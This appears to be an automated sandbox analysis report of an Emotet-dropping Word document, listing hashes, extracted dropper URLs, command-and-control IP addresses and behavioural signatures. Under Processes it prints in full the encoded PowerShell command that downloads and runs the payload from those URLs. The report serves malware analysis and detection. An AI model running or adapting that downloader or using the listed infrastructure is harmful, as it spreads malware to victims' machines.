Analysis
- max time kernel
140s - max time network
142s - platform
windows10_x64 - resource
win10v200722 - submitted
03/09/2020, 21:50
Static task
static1
Behavioral task
behavioral1
Sample
REP_GBN_090120_JPW_090420.doc
Resource
win7
General
- Target REP_GBN_090120_JPW_090420.doc
- Size 190KB
- Sample200903-8xth83ybk2
- SHA256 4f571caa06d699bbfa89b824c79287911daedd1ce930b97f76d74c6e9add4895
- MD5 5af0c04df59378cda460bc44229e56b2
- SHA1 cef9502c57aaf0240cdccbcd576948b5ef9f183e
- SHA512 d98d3be7ef1d25fee988774bc37edb44af8fc7e6c07524f4d516dabffcc87bdcd14d424485f06046966d3e18495b2efa9b34513a39d7cb39ffb2146e6dfd93ec
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
http://homokfuvo.com/files/QSNUeuP/
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exe.dropper
http://gforcems.it/modules/B/
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exe.dropper
http://planodesaudetotal.com/erros/wUI/
-
exe.dropper
http://rvad.com/img/K0YvsA/
-
exe.dropper
http://vendasdesaude.com/erros/zyHmix/
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exe.dropper
https://scenic-heap.de/_private/ZZHi/
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exe.dropper
https://elektro-grell.de/cgi-bin/o8Xj1y/
Extracted
-
emotet
-
192.158.216.73:80
-
85.214.28.226:8080
-
142.44.137.67:443
-
162.241.242.173:8080
-
85.152.162.105:80
-
62.30.7.67:443
-
78.24.219.147:8080
-
74.120.55.163:80
-
169.239.182.217:8080
-
216.208.76.186:80
-
95.213.236.64:8080
-
200.114.213.233:8080
-
104.131.44.150:8080
-
70.121.172.89:80
-
75.139.38.211:80
-
185.94.252.104:443
-
97.82.79.83:80
-
103.86.49.11:8080
-
79.98.24.39:8080
-
83.169.36.251:8080
-
188.219.31.12:80
-
74.208.45.104:8080
-
137.59.187.107:8080
-
174.45.13.118:80
-
194.187.133.160:443
-
50.81.3.113:80
-
201.173.217.124:443
-
139.99.158.11:443
-
68.188.112.97:80
-
113.160.130.116:8443
-
173.62.217.22:443
-
139.130.242.43:80
-
190.160.53.126:80
-
137.119.36.33:80
-
209.141.54.221:8080
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
121.124.124.40:7080
-
203.153.216.189:7080
-
157.245.99.39:8080
-
85.105.205.77:8080
-
173.81.218.65:80
-
110.145.77.103:80
-
47.144.21.12:443
-
95.179.229.244:8080
-
187.161.206.24:80
-
46.105.131.79:8080
-
189.212.199.126:443
-
168.235.67.138:7080
-
24.137.76.62:80
-
85.66.181.138:80
-
200.41.121.90:80
-
5.39.91.110:7080
-
104.236.246.93:8080
-
172.91.208.86:80
-
99.224.14.125:80
-
37.139.21.175:8080
-
109.74.5.95:8080
-
1.221.254.82:80
-
61.19.246.238:443
-
5.196.74.210:8080
-
67.205.85.243:8080
-
79.137.83.50:443
-
94.200.114.161:80
-
70.180.43.7:80
-
190.55.181.54:443
-
47.146.117.214:80
-
89.205.113.80:80
-
37.187.72.193:8080
-
84.39.182.7:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
87.106.136.232:8080
-
153.232.188.106:80
-
37.70.8.161:80
-
112.185.64.233:80
-
87.106.139.101:8080
-
94.23.237.171:443
-
24.43.99.75:80
-
203.117.253.142:80
-
98.109.204.230:80
-
93.147.212.206:80
-
91.211.88.52:7080
-
139.59.60.244:8080
-
176.111.60.55:8080
-
180.92.239.110:8080
-
62.75.141.82:80
-
174.102.48.180:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2740 3988 powershell.exe 72 - Blacklisted process makes network request 1 IoCs
flow pid Process 26 2740 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2152 Uwxxu273.exe 3864 mfc42u.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDGTHC\mfc42u.exe Uwxxu273.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies data under HKEY_USERS 5 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = ba3d86734c82d601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 496 WINWORD.EXE 496 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2740 powershell.exe 2740 powershell.exe 2740 powershell.exe 3864 mfc42u.exe 3864 mfc42u.exe 3864 mfc42u.exe 3864 mfc42u.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 356 svchost.exe Token: SeCreatePagefilePrivilege 356 svchost.exe Token: SeDebugPrivilege 2740 powershell.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2740 wrote to memory of 2152 2740 powershell.exe 80 PID 2740 wrote to memory of 2152 2740 powershell.exe 80 PID 2740 wrote to memory of 2152 2740 powershell.exe 80 PID 2152 wrote to memory of 3864 2152 Uwxxu273.exe 81 PID 2152 wrote to memory of 3864 2152 Uwxxu273.exe 81 PID 2152 wrote to memory of 3864 2152 Uwxxu273.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_GBN_090120_JPW_090420.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:356
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\SysWOW64\KBDGTHC\mfc42u.exe"C:\Windows\SysWOW64\KBDGTHC\mfc42u.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3864
-
-